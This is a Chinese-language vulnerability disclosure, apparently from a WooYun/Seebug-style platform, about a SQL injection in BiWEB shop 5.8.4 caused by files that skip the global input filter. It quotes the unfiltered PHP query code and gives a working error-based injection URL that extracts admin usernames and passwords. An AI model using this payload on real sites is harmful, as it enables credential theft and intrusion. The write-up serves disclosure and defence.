### 简要描述:
BiWEB最新商城版注入又一枚
### 详细说明:
在wooyun上看到了有人提了BiWEB的一个XSS漏洞:http://wooyun.org/bugs/wooyun-2010-049745,也有人提了SQL注入,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php,每个有用户输入的地方,BiWEB都在文件最前面通过文件包含的方式用filtrate.inc.php中的过滤方法对用户输入进行过滤。举个例子说明一下。/index.php文件中通过require_once('config/config.inc.php')来包含config/config.inc.php,而config/config.inc.php中又使用了require_once('filtrate.inc.php')来把filtrate.inc.php包含进来,filtrate.inc.php中的过滤方法如下
```
<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
而有些文件虽然有require_once('config/config.inc.php');语句,但是该语句包含的并不是/config中的config.inc.php',如/archives/include/detail.inc.php中包含的config/config.inc.php则是/archives/config/config.inc.php,而该文件中并没有 require_once('filtrate.inc.php')语句,使的这个文件没有引入全局过滤。
继续往下看,BiWEB还有几处有类似问题。举一例来说。/archives/include/detail.inc.php
```
无关代码
$arrGSmarty['caching'] = false;
$objWebInit->arrGSmarty = $arrGSmarty;
$objWebInit->db();
$arrInfo = $objWebInit->getInfo($_GET['id']);
$arrInfo['id'] = $arrMArchivesType[$_GET['id']];
if(empty($arrInfo['summary'])) $arrInfo['summary'] = @check::csubstr(trim(str_replace(" "," ",str_replace("\r\n","",strip_tags($arrInfo['intro'])))),0,$arrGWeb['db_summary_len']);
无关代码
```
继续去看看getInfo(),在/web_common5.8/php_common.php
```
/**
* 取得信息内容
* @author 肖飞
* @param int $intInfoID 信息ID
* @return void
*/
function getInfo($intInfoID,$field = '*',$pass=null,$add=false){
if($add) $this->updateClicktimes(" Where id =".$intInfoID);
if($pass!=null) $where= " and pass='$pass'";
else $where='';
$strSQL = "SELECT $field FROM $this->tablename2 ".
" Where id ='".$intInfoID."'".$where;
$rs = $this->db->query($strSQL);
$arrData = $rs->fetchall();
if(!empty($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData);
return current($arrData);
}
```
由于这里没有引入全局过滤,在整个过程中也没有对id进行任何过滤,所以造成了注入。
本次测试是基于error-based blind做的测试,payload如下
```
http://192.168.0.107/archives/detail.php?id=1' or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password,0x23)from biweb_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
```
成功注入,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201411/2500051692c399ca85369d4b85d657d8e4ce1219.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/2500051692c399ca85369d4b85d657d8e4ce1219.jpg)
### 漏洞证明:
见 详细说明
暂无评论